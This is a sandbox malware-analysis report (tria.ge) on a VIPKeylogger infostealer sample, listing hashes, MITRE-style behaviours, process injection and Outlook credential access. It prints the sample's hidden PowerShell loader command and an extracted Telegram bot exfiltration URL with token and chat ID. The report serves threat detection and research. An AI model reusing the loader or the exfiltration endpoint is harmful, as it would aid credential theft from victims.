Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
145s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
22/11/2024, 02:44
Static task
static1
Behavioral task
behavioral1
Sample
87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe
Resource
win10v2004-20241007-en
General
-
Target
87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe
-
Size
813KB
-
MD5
998e394361bd54c58a1ad2092fca8b6c
-
SHA1
c68e7856324a50c04ee5e1de46952ecaed47eff7
-
SHA256
87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec
-
SHA512
bb7af9d97e4fed96e000048828826f715fa3f229058326da25cf535629e567389b6129e72b6ef214937f0429d74d35598a7f440af6221ecc56ddeea86f9733b1
-
SSDEEP
12288:a7CBVenOxJUbx7lU0hbB6y3bn6vlP9Ia8GIbPYkAdwvLRPC6Oe73MFce:6G+OxmF7mSB6yrnMIacPYkAevLRPJyF
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot8065526741:AAEj68BwW3BsUStAxrPkDSB2kLxwQ3yik84/sendMessage?chat_id=6897585916
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2100 powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 21 4600 msiexec.exe 23 4600 msiexec.exe 25 4600 msiexec.exe 28 4600 msiexec.exe 30 4600 msiexec.exe 33 4600 msiexec.exe 35 4600 msiexec.exe 39 4600 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 20 drive.google.com 21 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 32 checkip.dyndns.org -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\narrowness.ini 87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4600 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2100 powershell.exe 4600 msiexec.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\resources\0409\mutases.fin 87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe File opened for modification C:\Windows\resources\energiudfoldelsers.Uku 87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2100 powershell.exe 2100 powershell.exe 2100 powershell.exe 2100 powershell.exe 2100 powershell.exe 2100 powershell.exe 2100 powershell.exe 4600 msiexec.exe 4600 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2100 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 2100 powershell.exe Token: SeIncreaseQuotaPrivilege 2100 powershell.exe Token: SeSecurityPrivilege 2100 powershell.exe Token: SeTakeOwnershipPrivilege 2100 powershell.exe Token: SeLoadDriverPrivilege 2100 powershell.exe Token: SeSystemProfilePrivilege 2100 powershell.exe Token: SeSystemtimePrivilege 2100 powershell.exe Token: SeProfSingleProcessPrivilege 2100 powershell.exe Token: SeIncBasePriorityPrivilege 2100 powershell.exe Token: SeCreatePagefilePrivilege 2100 powershell.exe Token: SeBackupPrivilege 2100 powershell.exe Token: SeRestorePrivilege 2100 powershell.exe Token: SeShutdownPrivilege 2100 powershell.exe Token: SeDebugPrivilege 2100 powershell.exe Token: SeSystemEnvironmentPrivilege 2100 powershell.exe Token: SeRemoteShutdownPrivilege 2100 powershell.exe Token: SeUndockPrivilege 2100 powershell.exe Token: SeManageVolumePrivilege 2100 powershell.exe Token: 33 2100 powershell.exe Token: 34 2100 powershell.exe Token: 35 2100 powershell.exe Token: 36 2100 powershell.exe Token: SeDebugPrivilege 4600 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 3788 wrote to memory of 2100 3788 87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe 83 PID 3788 wrote to memory of 2100 3788 87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe 83 PID 3788 wrote to memory of 2100 3788 87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe 83 PID 2100 wrote to memory of 4600 2100 powershell.exe 96 PID 2100 wrote to memory of 4600 2100 powershell.exe 96 PID 2100 wrote to memory of 4600 2100 powershell.exe 96 PID 2100 wrote to memory of 4600 2100 powershell.exe 96 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe"C:\Users\Admin\AppData\Local\Temp\87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec.exe"1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3788 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Barthianismens=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\skittaget\lektier\Familieskabet.Sch';$Architectures=$Barthianismens.SubString(9447,3);.$Architectures($Barthianismens) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4600
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
71KB
MD58149653bd363ed6762847796373192c1
SHA1df385979c55013616b642bec5415ee1b89929319
SHA2569296b59074488ea1a87189a1412aa652d7966a44ce2f9a297109227a953efd24
SHA512a7f7937acea516c9420b3ef4c448fcec2c52956bb2b1705da0221e32df5eb59016784018bf23e6382491f63ccff23aae28ce8f84003bc4813bc7812dfd3df814
-
Filesize
326KB
MD5bf36880f0e8cff63a4a0a6d2e2af1107
SHA1fcf08c335ed6bb98280cc47cbc4d6ae6bb0ffa32
SHA256bfce8c5feaab8ce81970225d42bd77b3f919fa422ec4f7d66be0f7ff8cf29b08
SHA51217aab56822fd6895209d4b474d34a78bf18faa8642d7c012e12f9f87e23d520495b5349605dedcce9092a368739b51195813bd652ec56a66a894734f57464479